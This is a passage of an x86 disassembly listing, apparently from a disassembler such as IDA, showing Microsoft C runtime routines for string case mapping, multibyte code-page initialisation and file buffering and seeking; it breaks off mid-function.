		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_47F998, edi
		jnz	short loc_411E91
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_417860
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_417150	; LCMapStringW
		test	eax, eax
		jz	short loc_411E6F
		mov	dword_47F998, ebx
		jmp	short loc_411E91
; ---------------------------------------------------------------------------


loc_411E6F:				; CODE XREF: sub_411E1B+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_42226C
		push	esi
		push	edi
		call	dword_41714C	; LCMapStringA
		test	eax, eax
		jz	loc_411FA9
		mov	dword_47F998, 2


loc_411E91:				; CODE XREF: sub_411E1B+2Ej
					; sub_411E1B+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_411EA6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_415DCC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_411EA6:				; CODE XREF: sub_411E1B+79j
		mov	eax, dword_47F998
		cmp	eax, 2
		jnz	short loc_411ECD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41714C	; LCMapStringA
		jmp	loc_411FAB
; ---------------------------------------------------------------------------


loc_411ECD:				; CODE XREF: sub_411E1B+93j
		cmp	eax, 1
		jnz	loc_411FA9
		cmp	[ebp+arg_18], edi
		jnz	short loc_411EE3
		mov	eax, dword_47F9B4
		mov	[ebp+arg_18], eax


loc_411EE3:				; CODE XREF: sub_411E1B+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_4170C4	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_411FA9
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_40B690
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_411F3E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_411F3E:				; CODE XREF: sub_411E1B+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_411FA9
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4170C4	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_411FA9
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417150	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_411FA9
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_411FBD
		cmp	[ebp+arg_14], edi
		jz	loc_412038
		cmp	esi, [ebp+arg_14]
		jg	short loc_411FA9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417150	; LCMapStringW
		test	eax, eax
		jnz	loc_412038


loc_411FA9:				; CODE XREF: sub_411E1B+66j
					; sub_411E1B+B5j ...
		xor	eax, eax


loc_411FAB:				; CODE XREF: sub_411E1B+ADj
					; sub_411E1B+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411FBD:				; CODE XREF: sub_411E1B+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40B690
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_411FF1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_411FF1:				; CODE XREF: sub_411E1B+1C2j
		cmp	ebx, edi
		jz	short loc_411FA9
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417150	; LCMapStringW
		test	eax, eax
		jz	short loc_411FA9
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_412018
		push	edi
		push	edi
		jmp	short loc_41201E
; ---------------------------------------------------------------------------


loc_412018:				; CODE XREF: sub_411E1B+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41201E:				; CODE XREF: sub_411E1B+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_4170C0	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_411FA9


loc_412038:				; CODE XREF: sub_411E1B+165j
					; sub_411E1B+188j
		mov	eax, esi
		jmp	loc_411FAB
sub_411E1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41203F	proc near		; CODE XREF: sub_412403+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4121D8	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_480D44
		mov	[ebp+arg_0], esi
		jz	loc_4121CC
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4121C2
		xor	edx, edx
		mov	eax, offset dword_420100


loc_412073:				; CODE XREF: sub_41203F+41j
		cmp	[eax], esi
		jz	short loc_4120E9
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4201F0
		jl	short loc_412073
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_417154	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4121BA
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_480E60
		cmp	[ebp+var_18], 1
		mov	dword_480D44, esi
		rep stosd
		stosb
		mov	dword_480F64, ebx
		jbe	loc_4121A8
		cmp	[ebp+var_12], 0
		jz	loc_41217E
		lea	ecx, [ebp+var_11]


loc_4120C6:				; CODE XREF: sub_41203F+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41217E
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4120D7:				; CODE XREF: sub_41203F+A8j
		cmp	eax, edx
		ja	loc_412172
		or	byte_480E61[eax], 4
		inc	eax
		jmp	short loc_4120D7
; ---------------------------------------------------------------------------


loc_4120E9:				; CODE XREF: sub_41203F+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_480E60
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_420110[esi]


loc_412105:				; CODE XREF: sub_41203F+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_412138


loc_41210C:				; CODE XREF: sub_41203F+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_412138
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_412131
		mov	edx, [ebp+var_4]
		mov	dl, byte_4200F8[edx]


loc_412126:				; CODE XREF: sub_41203F+F0j
		or	byte_480E61[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_412126


loc_412131:				; CODE XREF: sub_41203F+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41210C


loc_412138:				; CODE XREF: sub_41203F+CBj
					; sub_41203F+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_412105
		mov	eax, [ebp+arg_0]
		mov	dword_480D5C, 1
		push	eax
		mov	dword_480D44, eax
		call	sub_412222
		lea	esi, dword_420104[esi]
		mov	edi, offset dword_480D50
		movsd
		movsd
		pop	ecx
		mov	dword_480F64, eax
		movsd
		jmp	short loc_4121C7
; ---------------------------------------------------------------------------


loc_412172:				; CODE XREF: sub_41203F+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4120C6


loc_41217E:				; CODE XREF: sub_41203F+7Ej
					; sub_41203F+8Bj
		push	1
		pop	eax


loc_412181:				; CODE XREF: sub_41203F+14Fj
		or	byte_480E61[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_412181
		push	esi
		call	sub_412222
		pop	ecx
		mov	dword_480F64, eax
		mov	dword_480D5C, 1
		jmp	short loc_4121AE
; ---------------------------------------------------------------------------


loc_4121A8:				; CODE XREF: sub_41203F+74j
		mov	dword_480D5C, ebx


loc_4121AE:				; CODE XREF: sub_41203F+167j
		xor	eax, eax
		mov	edi, offset dword_480D50
		stosd
		stosd
		stosd
		jmp	short loc_4121C7
; ---------------------------------------------------------------------------


loc_4121BA:				; CODE XREF: sub_41203F+51j
		cmp	dword_47F9BC, ebx
		jz	short loc_4121D0


loc_4121C2:				; CODE XREF: sub_41203F+27j
		call	sub_412255


loc_4121C7:				; CODE XREF: sub_41203F+131j
					; sub_41203F+179j
		call	sub_41227E


loc_4121CC:				; CODE XREF: sub_41203F+1Dj
		xor	eax, eax
		jmp	short loc_4121D3
; ---------------------------------------------------------------------------


loc_4121D0:				; CODE XREF: sub_41203F+181j
		or	eax, 0FFFFFFFFh


loc_4121D3:				; CODE XREF: sub_41203F+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41203F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121D8	proc near		; CODE XREF: sub_41203F+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_47F9BC, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4121F8
		mov	dword_47F9BC, 1
		jmp	dword_41715C
; ---------------------------------------------------------------------------


loc_4121F8:				; CODE XREF: sub_4121D8+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41220D
		mov	dword_47F9BC, 1
		jmp	dword_417158
; ---------------------------------------------------------------------------


loc_41220D:				; CODE XREF: sub_4121D8+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_412221
		mov	eax, dword_47F9B4
		mov	dword_47F9BC, 1

locret_412221:				; CODE XREF: sub_4121D8+38j
		retn
sub_4121D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412222	proc near		; CODE XREF: sub_41203F+118p
					; sub_41203F+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41224F
		sub	eax, 4
		jz	short loc_412249
		sub	eax, 0Dh
		jz	short loc_412243
		dec	eax
		jz	short loc_41223D
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41223D:				; CODE XREF: sub_412222+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_412243:				; CODE XREF: sub_412222+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_412249:				; CODE XREF: sub_412222+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41224F:				; CODE XREF: sub_412222+9j
		mov	eax, 411h
		retn
sub_412222	endp


; =============== S U B	R O U T	I N E =======================================



sub_412255	proc near		; CODE XREF: sub_41203F:loc_4121C2p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_480E60
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_480D50
		mov	dword_480D44, eax
		mov	dword_480D5C, eax
		mov	dword_480F64, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_412255	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41227E	proc near		; CODE XREF: sub_41203F:loc_4121C7p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_480D44
		call	dword_417154	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4123B7
		xor	eax, eax
		mov	esi, 100h


loc_4122A8:				; CODE XREF: sub_41227E+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4122A8
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_4122F9
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4122C7:				; CODE XREF: sub_41227E+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4122EE
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4122EE:				; CODE XREF: sub_41227E+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4122C7
		pop	edi
		pop	ebx


loc_4122F9:				; CODE XREF: sub_41227E+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_480F64
		push	dword_480D44
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_413E07
		push	0
		lea	eax, [ebp+var_214]
		push	dword_480D44
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_480F64
		call	sub_411E1B
		push	0
		lea	eax, [ebp+var_314]
		push	dword_480D44
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_480F64
		call	sub_411E1B
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_412374:				; CODE XREF: sub_41227E+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_412392
		or	byte_480E61[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41238A:				; CODE XREF: sub_41227E+127j
		mov	byte_480D60[eax], dl
		jmp	short loc_4123AE
; ---------------------------------------------------------------------------


loc_412392:				; CODE XREF: sub_41227E+FCj
		test	dl, 2
		jz	short loc_4123A7
		or	byte_480E61[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41238A
; ---------------------------------------------------------------------------


loc_4123A7:				; CODE XREF: sub_41227E+117j
		and	byte_480D60[eax], 0


loc_4123AE:				; CODE XREF: sub_41227E+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_412374
		jmp	short loc_412400
; ---------------------------------------------------------------------------


loc_4123B7:				; CODE XREF: sub_41227E+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_4123BE:				; CODE XREF: sub_41227E+180j
		cmp	eax, 41h
		jb	short loc_4123DC
		cmp	eax, 5Ah
		ja	short loc_4123DC
		or	byte_480E61[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4123D4:				; CODE XREF: sub_41227E+174j
		mov	byte_480D60[eax], cl
		jmp	short loc_4123FB
; ---------------------------------------------------------------------------


loc_4123DC:				; CODE XREF: sub_41227E+143j
					; sub_41227E+148j
		cmp	eax, 61h
		jb	short loc_4123F4
		cmp	eax, 7Ah
		ja	short loc_4123F4
		or	byte_480E61[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4123D4
; ---------------------------------------------------------------------------


loc_4123F4:				; CODE XREF: sub_41227E+161j
					; sub_41227E+166j
		and	byte_480D60[eax], 0


loc_4123FB:				; CODE XREF: sub_41227E+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_4123BE


loc_412400:				; CODE XREF: sub_41227E+137j
		pop	esi
		leave
		retn
sub_41227E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412403	proc near		; CODE XREF: sub_4128E9+9p
					; sub_412941+Dp ...
		cmp	dword_480F94, 0
		jnz	short locret_41241E
		push	0FFFFFFFDh
		call	sub_41203F
		pop	ecx
		mov	dword_480F94, 1

locret_41241E:				; CODE XREF: sub_412403+7j
		retn
sub_412403	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41241F	proc near		; CODE XREF: sub_40D21A+2Bp
					; sub_40D21A+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_480D5C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_412443
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40B110
		add	esp, 0Ch
		jmp	short loc_4124A6
; ---------------------------------------------------------------------------


loc_412443:				; CODE XREF: sub_41241F+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_412488
		mov	ecx, [ebp+arg_4]


loc_41244E:				; CODE XREF: sub_41241F+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_480E61[esi], 4
		mov	[edi], al
		jz	short loc_412472
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41247E
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_412484
		jmp	short loc_412478
; ---------------------------------------------------------------------------


loc_412472:				; CODE XREF: sub_41241F+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_412488


loc_412478:				; CODE XREF: sub_41241F+51j
		test	edx, edx
		jnz	short loc_41244E
		jmp	short loc_412488
; ---------------------------------------------------------------------------


loc_41247E:				; CODE XREF: sub_41241F+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_412488
; ---------------------------------------------------------------------------


loc_412484:				; CODE XREF: sub_41241F+4Fj
		and	byte ptr [edi-2], 0


loc_412488:				; CODE XREF: sub_41241F+2Aj
					; sub_41241F+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_4124A3
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4124A3:				; CODE XREF: sub_41241F+6Fj
		mov	eax, [ebp+arg_0]


loc_4124A6:				; CODE XREF: sub_41241F+22j
		pop	edi
		pop	ebp
		retn
sub_41241F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124A9	proc near		; CODE XREF: sub_40D411+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_413381
		test	eax, eax
		pop	ecx
		jz	short loc_412532
		cmp	esi, offset dword_420330
		jnz	short loc_4124C7
		xor	eax, eax
		jmp	short loc_4124D2
; ---------------------------------------------------------------------------


loc_4124C7:				; CODE XREF: sub_4124A9+18j
		cmp	esi, offset dword_420350
		jnz	short loc_412532
		push	1
		pop	eax


loc_4124D2:				; CODE XREF: sub_4124A9+1Cj
		inc	dword_47FAD8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_412532
		cmp	dword_47F9C0[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:47F9C0h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_412518
		push	ebx
		call	sub_40B6BF
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_412518
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_412525
; ---------------------------------------------------------------------------


loc_412518:				; CODE XREF: sub_4124A9+4Dj
					; sub_4124A9+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_412525:				; CODE XREF: sub_4124A9+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412532:				; CODE XREF: sub_4124A9+10j
					; sub_4124A9+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4124A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412536	proc near		; CODE XREF: sub_40D411+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_412560
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_412571
		push	esi
		call	sub_41169D
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412560:				; CODE XREF: sub_412536+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_412571
		push	eax
		call	sub_41169D
		pop	ecx


loc_412571:				; CODE XREF: sub_412536+10j
					; sub_412536+32j
		pop	esi
		retn
sub_412536	endp


; =============== S U B	R O U T	I N E =======================================



sub_412573	proc near		; CODE XREF: sub_40D488+67p
					; sub_40D653+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_480D40
		push	esi
		push	edi
		jnb	short loc_4125F5
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:480C40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4125F5
		push	eax
		call	sub_4140D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4125B7
		mov	dword_47F914, 9
		jmp	short loc_412606
; ---------------------------------------------------------------------------


loc_4125B7:				; CODE XREF: sub_412573+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_417160	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4125D7
		call	dword_417044	; RtlGetLastWin32Error
		jmp	short loc_4125D9
; ---------------------------------------------------------------------------


loc_4125D7:				; CODE XREF: sub_412573+5Aj
		xor	eax, eax


loc_4125D9:				; CODE XREF: sub_412573+62j
		test	eax, eax
		jz	short loc_4125E6
		push	eax
		call	sub_411C26
		pop	ecx
		jmp	short loc_412606
; ---------------------------------------------------------------------------


loc_4125E6:				; CODE XREF: sub_412573+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_412609
; ---------------------------------------------------------------------------


loc_4125F5:				; CODE XREF: sub_412573+Dj
					; sub_412573+2Aj
		and	dword_47F918, 0
		mov	dword_47F914, 9


loc_412606:				; CODE XREF: sub_412573+42j
					; sub_412573+71j
		or	eax, 0FFFFFFFFh


loc_412609:				; CODE XREF: sub_412573+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412573	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41260D	proc near		; CODE XREF: sub_40D488+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_412629
		mov	[edi+4], ebx


loc_412629:				; CODE XREF: sub_41260D+17j
		push	1
		push	ebx
		push	esi
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_412697
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41264E
		sub	eax, [edi+4]
		jmp	loc_412760
; ---------------------------------------------------------------------------


loc_41264E:				; CODE XREF: sub_41260D+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_412688
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_480C40[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41269F
		mov	edx, ecx


loc_412679:				; CODE XREF: sub_41260D+79j
		cmp	edx, eax
		jnb	short loc_41269F
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_412685
		inc	[ebp+var_8]


loc_412685:				; CODE XREF: sub_41260D+73j
		inc	edx
		jmp	short loc_412679
; ---------------------------------------------------------------------------


loc_412688:				; CODE XREF: sub_41260D+50j
		test	dl, 80h
		jnz	short loc_41269F
		mov	dword_47F914, 16h


loc_412697:				; CODE XREF: sub_41260D+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_412760
; ---------------------------------------------------------------------------


loc_41269F:				; CODE XREF: sub_41260D+68j
					; sub_41260D+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_4126AD
		mov	eax, [ebp+var_8]
		jmp	loc_412760
; ---------------------------------------------------------------------------


loc_4126AD:				; CODE XREF: sub_41260D+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_412758
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_4126C6
		and	[ebp+var_8], edx
		jmp	loc_412758
; ---------------------------------------------------------------------------


loc_4126C6:				; CODE XREF: sub_41260D+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:480C40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_412752
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_412573
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_412719
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_412704:				; CODE XREF: sub_41260D+104j
		cmp	eax, ecx
		jnb	short loc_412713
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_412710
		inc	[ebp+arg_0]


loc_412710:				; CODE XREF: sub_41260D+FEj
		inc	eax
		jmp	short loc_412704
; ---------------------------------------------------------------------------


loc_412713:				; CODE XREF: sub_41260D+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41274D
; ---------------------------------------------------------------------------


loc_412719:				; CODE XREF: sub_41260D+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_412573
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_412740
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_412740
		test	ch, 4
		jz	short loc_412743


loc_412740:				; CODE XREF: sub_41260D+124j
					; sub_41260D+12Cj
		mov	eax, [edi+18h]


loc_412743:				; CODE XREF: sub_41260D+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41274D:				; CODE XREF: sub_41260D+10Aj
		jz	short loc_412752
		inc	[ebp+arg_0]


loc_412752:				; CODE XREF: sub_41260D+D9j
					; sub_41260D:loc_41274Dj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_412758:				; CODE XREF: sub_41260D+A4j
					; sub_41260D+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_412760:				; CODE XREF: sub_41260D+3Cj
					; sub_41260D+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412765	proc near		; CODE XREF: sub_40D514+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_4128A6
		test	eax, eax
		pop	ecx
		jz	loc_41289A
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41289A
		cmp	ebx, 5
		jnz	short loc_412796
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_4128A3
; ---------------------------------------------------------------------------


loc_412796:				; CODE XREF: sub_412765+23j
		cmp	ebx, 1
		jz	loc_412895
		mov	ecx, dword_47F9C8
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_47F9C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_412885
		mov	ecx, dword_420268
		mov	edx, dword_42026C
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_4127E5
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:4201F8h[esi*4]


loc_4127DC:				; CODE XREF: sub_412765+7Ej
		and	dword ptr [esi], 0
